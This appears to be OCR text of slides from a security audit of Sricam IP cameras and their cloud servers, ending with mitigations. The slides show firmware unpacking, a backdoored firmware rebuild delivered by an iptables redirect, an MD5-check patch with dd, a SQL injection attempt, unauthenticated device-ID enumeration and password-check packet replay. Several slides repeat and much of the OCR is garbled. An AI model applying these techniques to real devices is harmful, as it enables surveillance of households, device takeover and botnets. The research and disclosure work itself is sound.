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Recap

Motivation, audit strategy and information leaks



Mirai botnet used for DDoS attacks

* Self-spreading malware serves as botnet
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e Uses telnet and default credentials
* Majority of affected devices are IP cameras



Consequences of compromise

Privacy invasion and unauthorized data access

— Mass monitor / oppress citizens

— Targeted Information gathering

4 Individual targeted attacks

— Controlling devices (opening doors, ...)

\ — Gateway to network access

Bot nets
— Commercial DDoS
— Influence scoring algorithms / opinions




App and features

e Controlled via Android APP (or IE extension)

* Setup: Create account, register camera, connect Wi-Fi
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 Update app, update device

 Mail alert, push alarm, camera alarm



Attack surface

Information leaks,
privacy violation

e Authorization against Sricam

No Network servers
control
e Authorization against Camera
* Sniffing camera feed /
Network credentials
control

* Sniffing non-camera secrets
(Wi-Fi passwords, ...)

RCE

e Exploit Camera functionalities
(e.g. buffer overflow in send
mail alarm function)

* Malicious software update



What we already did

Information leaks,
privacy violation

e Authorization against Sricam

No Network servers
control
e Authorization against Camera
* Sniffing camera feed /
Network credentials
control

* Sniffing non-camera secrets
(Wi-Fi passwords, ...)

RCE

* Exploit Camera functionalities
(e.g. buffer overflow in send
mail alarm function)

* Malicious software update



Communication overview

Communication public class DES {
| static byte[] key = new byte[]l{(byte) -100, (byte) -82, (byte] I

l |
HTTP ubDP
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App login and logout ‘: App-camera comm.

Relayed by API servers
(if not same network)

App update

Device update check
and download

Hostnames IP address Location
{apil, p2pl}.videoipcamera.cn 101.1.17.22 Hongkong
{api2, p2p2, upg, upgl}.videoipcamera.{com, cn} 218.30.35.92 Shenzen
{api3, p2p3}.videoipcamera.cn 220.231.142.137 Shenzen
{api4, p2p4}.videoipcamera.com 146.0.227.241 Romania




Firmware fiddling

How the camera works
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Attack surface

Information leaks,
privacy violation

e Authorization against Sricam

No Network servers
control
e Authorization against Camera
* Sniffing camera feed /
Network credentials
control

* Sniffing non-camera secrets
(Wi-Fi passwords, ...)

RCE

* Exploit Camera functionalities
(e.g. buffer overflow in send
mail alarm function)

* Malicious software update
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Firmware file structure

$ binwalk npcupg 14.00.00.52.bin

DECIMAL HEXADECIMAL DESCRIPTION
32 0x20 JFFS2 filesystem, little endian
2943372 Ox2CE98C ELF, 32-bit LSB executable, ARM, version 1 (SYSV)

JFFS2 Filesystem

32-bit ELF binary
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Firmware file structure

$ binwalk npcupg 14.00.00.52.bin

DESCRIPTION

JFFS2 filesystem, little endian
ELF, 32-bit LSB executable, ARM, version 1 (SYSV)

DECIMAL HEXADECIMAL

32 0x20

2943372 OX2CE98C
FW Header?

JFFS2 Filesystem

32-bit ELF binary

$ xxd -1 64 npcupg 14.00.00.52.bin

00000000 :
00000010
00000020 :
00000030

0000 0000 6ce9 2cO0 211b 0000 397c abbf ....1.,.!...9]..
372a 856a a61l8 2c6b Ocbc f1la8 3400 000e 7*.j..,k....4...
8519 01e0 3300 0000 9611 8be8 0100 0O ....3...........
0000 0000 0200 0000 3e6d 0644 ObO8 0RO ........ >m.D....
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Firmware file structure

$ binwalk npcupg 14.00.00.52.bin

DECIMAL HEXADECIMAL DESCRIPTION

32 0x20 JFFS2 filesystem, little endian

2943372 Ox2CE98C ELF, 32-bit LSB executable, ARM, version 1 (SYSV)

FW Header! $ xxd -1 64 npcupg 14.00.00.52.bin
00000000 : 00O PR 6ced 2¢O 211b ©BAO 397c abbf ....1.,.!...9]..
00000010: 372a 856a a6l8 2c6bb Ocbc f1a8 3400 ©0Be 7*.j..,k....4...
) 00000020: 8519 01e0 3300 0000 9611 8be8 0100 0O ....3...........
JFFS2 Filesystem 00000030: 0000 0000 0200 0000 3e6d 0644 ObO8 0000 ........ >m.D....

Firmware version: 14.0.0.52

32-bit ELF binary
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JFFS2 filesystem content

dhcp.script

gwellipc
img

language
L

—— minihttpd.conf
—— mtd

E vg_boot.sh
vg_boot_autofocus.sh

—— npc

—— patch
L

—— readme.txt
—— sound

I_ e
updfile_ok
version.txt

24 directories, 200 files

Network settings, executed on boot — perfect for backdoor

Jusr/sbin/telnetd

[ -z "s1" 1] echo "Error: should be called from udhcpc"

RESOLV_CONF="/mnt/ramdisk/resolv.conf"
[ -n "$broadcast" ] BROADCAST="broadcast $broadcast"
"$subnet" ] NETMASK="netmask $subnet"

Update:

Main executable, runs camera logic «  Extracts filesystem

Contains the current firmware version * Deletes old data
* Mounts as npc

*  Executes npc binary
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Stitching a new firmware file together

 |dea: create a new firmware file that contains a backdoor
* On the device, dump the file system with backdoor:

— *dd- command*

20_trimmed_elf.jffs2 filesystem_camera_dump_trimmed_FF.jffs2
: FD BD 16 DD 26 33 D6 9A | 23 8@ 3C 86 40 @4 E9 87 &3.. #.<0@:0s
30: 56 1D 29 78 6A 1F EF 11 | A2 EE B9 9A C4 74 10 21 N FW Header FW Header
: 5A 3B B5 4E 1C D1 @3 15 | 9F E@ 3C 86 42 51 31 08B 301.
: 05 10 21 99 7E 8B C4 2E | CF B9 61 B3 €9 18 02 @4 ..l.~e.. ..d3.....
: 03 85 3E @B 09 30 72 DD | 07 €@ FF FF :

JFFS2 Filesystem JFFS2 Filesystem

32-bit ELF binary

32-bit ELF binary

« Combine firmware header, new file system, and elf-binary and change sizes in header

$ xxd -1 32 rebuild_malicious_changed_header.bin

00000000: 0000 0000 26ed 2cOO 211b 0000 397c abbf ....l1.,.!...9]..
00000010: 372a 856a a618 2c6b Ocbc fla8 3400 000e 7*.j..,k....4...

17



Stitching a new firmware file together

* Redirect request to update server to own HTTP server and deliver malicious update

— iptables -t nat -A PREROUTING -i wlp3s@ -p tcp -d 218.30.35.92 --dport 80 -j REDIRECT --
to-ports 5000

Problem found by listening to serial terminal output:

Our firmware file Original firmware file
Rcv Wcid(1l) AddBAReq Rcv Wcid(1l) AddBAReq
Start Seq = 00000d4b Start Seq = 00000299
Md5 err! 57 124 171 191 55 42 133 106 166 24 44
107 12 188 241 168 Newst version !

H#it#H Apply #1 it fgCheckUpgFile over!
e dwUpgProFileSzie = 6945

s Apply #1 #HHHH

—  We tried to MD5 hash the firmware file and the file system, but could not recreate the hash
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Stitching a new firmware file together

* Redirect request to update server to own HTTP server and deliver malicious update
— iptables -t nat -A PREROUTING -i wlp3s@ -p tcp -d 218.30.35.92 --dport 80 -j REDIRECT --

to-ports 5000

Problem found by listening to serial terminal output:

Our firmware file

Rcv Wcid(1) AddBAReq
Start Seq = 00000d4b
Md5 err!

s Apply #1 #HHH

Original firmware file

Rcv Wcid(1l) AddBAReq
Start Seq = 00000a99
57 124 171 191 55 42 133 106 166 24 44

107 12 188 241 168 Newst version !
fgCheckUpgFile over!
dwUpgProFileSzie = 6945

s Apply #1 #HHHH

$ xxd -1 32 rebuild_malicious_changed_header.bin

00000000: 00O POV 26ed 2cOO 211b 0O 397c abbf ....1.,.!...9]..
00000010: 372a 856a abl8 2c6b Ocbc f1a8 3400 000e 7*.j..,k....4... 19



Finding a correct hash

* Looking at references to strings in IDA helped us
identify various functions in the npc binary:
— “GET %s HTTP/1.0\r\nHost: %s\r\nAccept:”
— “Md5 err!”
— “fgCheckUpgFile over!” ‘

The function we called “check file”

IE;

We found the function that verifies the hash and
patched it to print the expected hash when updating

v v

o= —=vcozmo |
11
L] _
(] e (=] FE
R3, R11, #-ptr
loc_321A8
LDR R3, [R11,#byte_nr_off]
SUB R2, R11, #-var &
ADD R3, R2, R3
LDRB R2, [R3,#-0x34]
LDR R1, [R11,%var_18]
LDR R3, [R11,%#byte_nr_off]
ADD R3, R1, R3
LDRB R3, [R3]
CHP R2, R3
BEQ loc_321E@
] 1
v ¥ v
M= IE
, #3
» [R11,%var_C]| [loc_3223C loc_321E8 3 M%d
c_32244 HOU R3, #7 LDR R2, =aD_3
STR R3, [R11,Hvar_C]| |[LDR R1, [R11,#var_10]
LDR R3, [R11,H#byte_nr_off]
ADD R3, R1, R3
LDRB R3, [R3]
HOU R@, ; fFormat
HOu R1,
BL printf
LDR R3, [R11,#byte nr off]
ADD R3, R3, W1
STR R3, [R11,#byte_nr_off]
L
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How we found the check_file function

E Strings window x| | @ Hex View-2
Address Length Type  String
[5] .rodata:0037F2.. 00000004 C 1Md5 err!

check_file

B .rodata:0037F2... 00000009 Md5 err! CHP R, #7
BHE loc_3d88n8
I 1
# mdser
P
loc_38@n8
LDR R3, [R11,#var_8]
\ 4 CHP R3, #
.rodata:@037F218 ahdSErr DCB “Hd5 errt",B —
.rodata:B8e37F218 -
e
e LOR  R®, [R11,Hfilenane]
iracti LDR R1, =aMntRamdiskMp_@ : “/mnt/ramdisk/npec.tar . gz.nds"
DIrECtlon iE [ddesy et LDR R2, =abintRamdiskMpc_ ; “/ent/ramdisk/npe_tar.gz"
Up o sub 38000+138 LDR RO, =aMd5Err ; "Md HMOU Ra, #oxzo
u textoff_381B0 DCD aMd5E : "Md5 BL dounload_file
=R ot il : MOU B3, RA
CHP Ra, #0
BHE loc_388FC
[ o J[ concel q ™1
Linel of 2 = ] ]
RO, =aFgfilesplitFai ; “fgfileSplit failt™
puts loc_380FC loc_a8124 ; Filename
RO, -aMntRamdiskMpc_ : “/mnt/ramdisk/npe.tar.gz" LDR R3, =dword_3EGCS4| [LDR RO, [R11.#Filename]
FEMOUE il R2, #3 BL FEMOUR
RO, =abntRamdiskNp_@ ; “/ont/randisk/npo.tar.gz.nds ) (STR R2, [R3] LDR Ra, [R11,Hvar_14]
remove LDR R3, =dword_3EGCSA[ [HOU R2, Hox38
R, [R11,Hvar_14] How R2, #1 5TR R2, [R3]
v iy LDR R@, =aMdSErr
RZ, [RA] LOR R3, [R11,%var_1s]) [BL puts
loc_3814@ How R2, #iebd
i STR R2, [R3] |
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Finding a correct hash

* Looking at references to strings in IDA helped us
identify various functions in the npc binary:
— “GET %s HTTP/1.0\r\nHost: %s\r\nAccept:”

— “Md5 err!”

The function we called “check file”

IE;

— “fgCheckUpgFile over!”
We found the function that verifies the hash and
patched it to print the expected hash when updating

T e }
¥ I |
s W= FE
suB R3, R11, #-ptr
loc_321A8
LDR R3, [R11,#byte_nr_off]
sSuB R2, R11, #-var 4
ADD L R2, R3
LDRB [R3,lt-ﬂx3!|]
LDR > [R11,%var_18]
LDR R3, [R11,%#byte_nr_off]
ADD R3, R1, R3
LDRB R3, 03
CHP R2
BEQ loc_3Z1E@
] 1
v ¥ v
FIEE IE
, #3
» [R11,%var_C]| [loc_3223C loc_321E8 3 M%d
c_32244 HouU R3, #7 LDR R2, =aD_3
STR R3, [R11,Hvar_C]| |[LDR R1, [R11,#var_10]
LDR R3, [R11,H#byte_nr_off]
ADD R3, R1, R3
LDRB R3, [R3]
HOU RA, 58 ; fFormat
HOu R1
BL pri
LDR R3, [R11,#byte_nr_off]
ADD R3, R3, ¥
STR R3, [R11,#byte_nr_off]

v v

I
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Finding a correct hash

* Looking at references to strings in IDA helped us
identify various functions in the npc binary:
— “GET %s HTTP/1.0\r\nHost: %s\r\nAccept:”

— “Md5 err!”

— “fgCheckUpgFile over!”
We found the function that verifies the hash and
patched it to print the expected hash when updating

The function we called “check file”

IE;

v v

o= —=vcozmo |
11
v ¥
] W= FE
suUB R3, R11, #-ptr
loc_321A8
LDR R3, [R11,#byte_nr_off]
SUB R2, R11, #-var &
ADD L R2, R3
LDRB [ns,n-ax:;u]
LDR » [R11,Hvar_18]
LDR R3, [R11,H#byte_nr_off]
ADD R3, R1, R3
LDRB R3, R3]
CHP R2
BEQ loc 9ZiEN
] 1
v ¥ v
FIEE (M
, #3
» [R11,#var_C]| |1loc_3223C loc_321E@ 3 %d
C_32244 Hou R3, #7 LDR R2, =aD 3
STR R3, [R11,#var_c]| |LDR R1, [R11,%var_10]
LDR R3, [R11,#byte_nr_off]
ADD R3, R1, R3
LDRB R3, [R3]
Hov RO, " ; fFormat
Hou R1 "B
BL pril
LDR R3, [R11,Bbyte nr_off]
ADD R3, R3, #1
STR R3, [R11,#byte_nr_off]

|
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Finding a correct hash

* Looking at references to strings in IDA helped us
identify various functions in the npc binary:
— “GET %s HTTP/1.0\r\nHost: %s\r\nAccept:”

— “Md5 err!”

The function we called “check file”

— “fgCheckUpgFile over!”
We found the function that verifies the hash and
patched it to print the expected hash when updating

* Limited storage and automatic device restart as
soon as the main binary stops running make
replacing the main binary difficult ‘

LDR
suB
ADD
LDRB
LDR
LDR

P2, R2, R3
[R3,#-8x34]
. [R11,%var_18]

Y .
S — )
v ¥
TP A== FE
SuB R3, R11, #-ptr
loc_32108

R3, [R11,#tbyte_nr_off]
R2, R11, #-var 4

R3, [R11,#byte_nr_off]

kill -9 [process_number]

printf '\x50' | dd bs=1 seek=172469 of=/npc/npc ..
printf '\x@2' | dd bs=1 seek=172488 of=/npc/npc ..
printf '\x@5' | dd bs=1 seek=172536 of=/npc/npc ..

v v

ADD R3, R1, R3
LDRB R3, R3]
CHP R2
BEQ loc SZiEB
] 1
v ¥ v
FIEE M
, #3
» [R11,%var_C]| [loc_3223C loc_321E@ HE 4 B
c_32244 HOU R3, #7 LDR R2, =aD 3
STR R3, [R11,#var_C]| [LDR R1, [R11,#var_10]

LDR
ADD
LDRB
Hov
HoU
BL
LDR
ADD
STR

R3, [R11,#byte _nr_off]
R3, R1, R3
R3, [R3]

RO, &
i)
pril

R3, [R11,#byte nr_off]

R3, R3, M
R3, [R11,#byte_nr_off]

; fFormat

|
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Remote code execution

Does this need a subtitle?
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Attack surface

Information leaks,
privacy violation

e Authorization against Sricam

No Network servers
control
e Authorization against Camera
* Sniffing camera feed /
Network credentials
control

* Sniffing non-camera secrets
(Wi-Fi passwords, ...)

RCE

* Exploit Camera functionalities
(e.g. buffer overflow in send
mail alarm function)

* Malicious software update
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Searching for classic RCE vulnerabilities

e Command injections
* Format strings
e Buffer overflows

* No user input

e %sis used

e Use of strncpy

loc_17D358

LDR R6, =dword_3E8A3C

HOU RO, SP i s

LDR R1, =aWpa_supplicant ; “wpa_supplicant

LDR R2, [R6]

BL sprintf THOU

HOU Ra, SP ; command

MOU R5, SP ngg

BL system LDR

B loc_17D31C

: End of function sub_17D2D8 gl“
MOV
BL
B

-B -i%s -Duwext -c¢ /mnt/"...

R3, R11
RO, RS
R1, #Oxh0

5 S
s maxlen

R2, =aRouteAddDefa 1 ; "route add default gw %s
R8, [SP,#0x198+var 198]

snprintf
R8, RS
system
loc_181F48

; command
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RCE through malicious firmware update

Change DNS server to own IP

O Auto @® Manual

IP 192.168.2.4

Subnet
Mask

Gateway 192.168.2.1

255.255.255.0

DNS evil

Apply

Initiate firmware update and deliver backdoor

=)

Need to be authenticated!
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Demo time

Yay!
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Authentication

Getting access to foreign devices
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Attack surface

Information leaks,
privacy violation

e Authorization against Sricam

No Network servers
control
e Authorization against Camera
* Sniffing camera feed /
Network credentials
control

* Sniffing non-camera secrets
(Wi-Fi passwords, ...)

RCE

* Exploit Camera functionalities
(e.g. buffer overflow in send
mail alarm function)

* Malicious software update
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Authentication against login servers

Burp screenshot of a SQLi attempt
Go Cancel EJ =

Request

Raw | Params |Headers | Hex

POST /Users/LoginCheck.ashx HTTP/L.1
Content-Length: 119

Content-Type: application/x-www-form-urlencoded
Host: api3.videoipcamera.cn

Connection: KHeep-—-Alive

User-Agent: Apache-HttpClient/UNAVAILAELE (java 1.4)

User=sricam mail%40yahoo.com' OR 1 = 1 -- &Pwd=ES3FLICLTDADF

? T T T Type a search term
Response

Raw | Headers | Hex

HTTF/1.1 Z00 CK

Cache-Control: private

Content-Type: text/plain; charset=utf-8
Server: Microsoft-IIS5/7.5

Set—Cookie: ASP.NET SessionId=1jgrg545ZloaSgredixuupvw; path

X-AsplNet-Version: 2.0.50727
¥-Powered-By: ASP.NET

Date: Thu, 30 Mar Z017 18:21:21 GNT
Content-Length: E3

{"error_code":"30", "error": "O000O0OOOOCO" }

* Login procedure:

App Server

GET LoginCheck.ashx >

q‘ _________________________________
SessionID

GET GetFriendList.ashx >

<‘ _________________________________

[namel, device_id1, e(pw1l)]
[name2, device_id2, e(pw2)]

 We did not find any easy attacks against

authentication with the login server

But: Login only provides the app with the contact
details for the devices associated with the account
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Device enumeration

Six digit device IDs and a default password Check which devices are online

Request
12 03 04 00 54 bl 07 80 55 fe bb 55 d8 f3 c2 1c

e9 ea 16 78 b6 25 @c @0 @1 00 00 00 b5 25 Oc 00

2a 2c 0a 00
&5 | Baby bed camera ] Response
13 01 04 00 54 bl 07 80 55 fe bb 55 d8 f3 c2 1c
o]a) 9 ea 10 78 b6 25 @c 00 @1 00 00 00 b5 25 Oc 00
| 769482 e9 ea
= 2a12¢0a 00 00.00.01.06 07 00 07 67
O+ | Input password(default:888888) ] Reusable header - -

* Does not require authentication
» 128 device IDs per packet
* No rate limiting

Next

¥ ¥

Enumerate devices and passwords Check all possible IDs in one hour:

140741 online devices 33




Control packets

DNS change command Reusable header
54 bl @7 80 fd 2d od 00 19 41 15 a4 74
Cloud part -[ _10 G G G
Local part 60 ©1 00 00 78 €6 00 00 1c 00 00 00 37 35 04 O cc

T 63 Oc c1 68 01 00 90 66 01 a8 cO 00 ff ff ff 01 01
(like in LAN) a8 c0 01 01 a8 co

IP (192.168.1.102) subnet mask
gateway || DNS server Command ID

The account ID has to be valid, but it’s not
checked, if the device is in this accounts list

Based on device ID the relay server sends the MESG_SET_INFRARED_LAMP = 63000; // 0xf230 - oxf618
paket to the correct destination MESG_SET_IP_CONFIG = 60000; // 0xe678 - Bxea60

dd d al h MESG_SET_LAMP = 52000; // @xc738 - Oxcb20
No IP address necessary and also reaches MESG_SET_LANGUEGE = 58000; // @xdea8 - @xe290

devices behind firewalls

The authentication value is reusable for

devices with the same password 34



Password enumeration

* Check device password message (ID ©x4a38 - 0x4e20)
* Gets send when settings button is used

Request

10 03 60 00 54 bl 07 80[2e 35 @7 00 9e ec ea a0 77 3f do 34
46 26 02 50 60 01 00 00 3d 4a 00 00 Oc 00 00 00 11 ef 7f 4e
do 03 3b ab 00 00 00 00

Response
10 07 61 00 /2e 35 07 00 54 bl 07 80 54 05 71 f4 ca a8 00 00
00 00 00 00 61 00 00 00 3d 4a 00 00 00 00 00 0001 00 00 00

) 4

1. Set password of device as wanted
2. Press settings button for said device in the app
3. Replay password check packet with different device IDs

| 863741 .]

The device is online. For your security,
youd better modify the password
immediately

@ Modify Password

) 2

* Botnet
* View and control

e Get SMTP credentials .



Wrap-up

Mitigations and learnings
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Mitigations

Some mitigation ideas

* Transport layer security

* Asymmetric Firmware signing

* High entropy random device IDs

* Unique default passwords per device

* Do not use users SMTP-credentials for e-mail alarm
* WiFi settings only via local network

* Rate limiting and monitoring

L 4

No fast-and-easy patch
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Learnings
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Future work
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Thanks!

Questions?
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